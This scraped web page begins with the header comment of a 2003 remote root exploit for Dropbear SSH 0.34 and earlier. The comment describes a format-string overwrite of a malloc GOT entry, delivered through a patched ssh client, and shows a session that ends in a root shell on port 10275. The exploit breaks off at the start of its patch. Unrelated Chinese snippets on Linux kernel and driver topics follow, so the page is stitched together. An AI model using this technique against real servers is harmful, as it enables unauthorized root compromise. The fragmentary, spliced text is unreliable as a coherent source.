Linux x86 Dropbear SSH <= 0.34 remote root exploit
/*
* /*
* Linux x86 Dropbear SSH <= 0.34 remote root exploit
* coded by live
*
* You'll need a hacked ssh client to try this out. I included a patch
* to openssh-3.6.p1 somewhere below this comment.
*
* The point is: the buffer being exploited is too small(25 bytes) to hold our
* shellcode, so a workaround was needed in order to send it. What I did here
* was to hack the ssh client so that it sends the local environment variable
* SHELLCODE as ssh's methodname string. This method was described by Joel
* Eriksson @ 0xbadc0ded.org.
*
* The 25 bytes limitation is also the reason for the the strange ``2 byte''
* retaddr you will see here. That's not enough for complete pointer overwrite,
* so I decided to overwrite 3rd and 2nd bytes and hope our shellcode is
* around ;)
*
* % telnet localhost 22
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* SSH-2.0-dropbear_0.34
* ^]
* telnet> quit
* Connection closed.
*
* % objdump -R /usr/local/sbin/dropbear| grep malloc
* 080673bc R_386_JUMP_SLOT malloc
*
* % drop-root -v24 localhost
* ?.2022u%24$hn@localhost's password:
* Connection closed by 127.0.0.1
*
* % telnet localhost 10275
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id; exit;
* uid=0(root) gid=0(root) groups=0(root)
* Connection closed by foreign host.
*
* In the above example we were able to lookup a suitable .got entry(used as
* retloc here), but this may not be true under a hostile environment. If
* exploiting this remotely I feel like chances would be greater if we attack
* the stack, but that's just a guess.
*
* Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions.
*
* gr33tz: ppro, alcaloide and friends.
*
* 21.08.2003
* Please do not distribute
*/
/*
--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000
相关文档:
http://hi.baidu.com/styl_007/blog/item/82b833f475036ce67609d7b6.html
中断处理的tasklet(小任务)机制-不过如此
2009-08-10 18:30
中断服务程序一般都是在中断请求关闭的条件下执行的
,
以避免嵌套而使中断控制复杂化。但是,中断是一个随机事件,它随时会到来,如果关中断的时间太长,
CPU
就不能及时响应其 ......
键盘在所有的驱动之中最为简单的一种,但它却包含了驱动的基本框架,对以后继续深入学习其他复杂的驱动大有裨益,以下便为你逐步剖析驱动的开发。采用的是查询方式。转载请注明出处:qiangren.blog.edu.cn
一.内核模块的注册和撤销
在加载模块的时候,首先运行的是内核模块的注册函数。它的功能包括内核注册设备以 ......
今天自己学习 Linux设备驱动程序 第三版 第15章 内存映射和DMA. 感觉有点吃力。主要是对内存映射很多术语和概念不是很清楚,理解起来有点费劲。
后来结合英文原版,静下心来仔细学习,才算是有了一点进展。
现在在这里做一个笔记,以备以后复习用。
低端内存和高端内存
书中的图15-1有点误导人。图中将 内核虚拟地址 和 ......
Linux基金会执行董事Jim Zemlin声称Linux的市场地位十分稳固,尽管几位Linux内核的关键维护者已经头发花白。
Linux Weekly News的主编Jonathan Corbet在上周举行的Linux基金会协作峰会上挑明了这一问题,他指出Linux内核团队的年龄一年比一年长,而年轻一代的开发者没有参与进来。为什么Linux现在无法吸引年轻开发 ......
source命令(从 C Shell 而来)是bash shell的内置命令。点命令,就是一个点符号,(从Bourne Shell而来)是source的另一名称。这两个命令都以一个脚本为参数,该脚本将作为当前shell的环境执行,即不会启动一个新的子进程。所有在脚本中设置的变量将成为当前Shell的一部分。同样的,当前脚本中设置的变量也将作为脚本的环境,s ......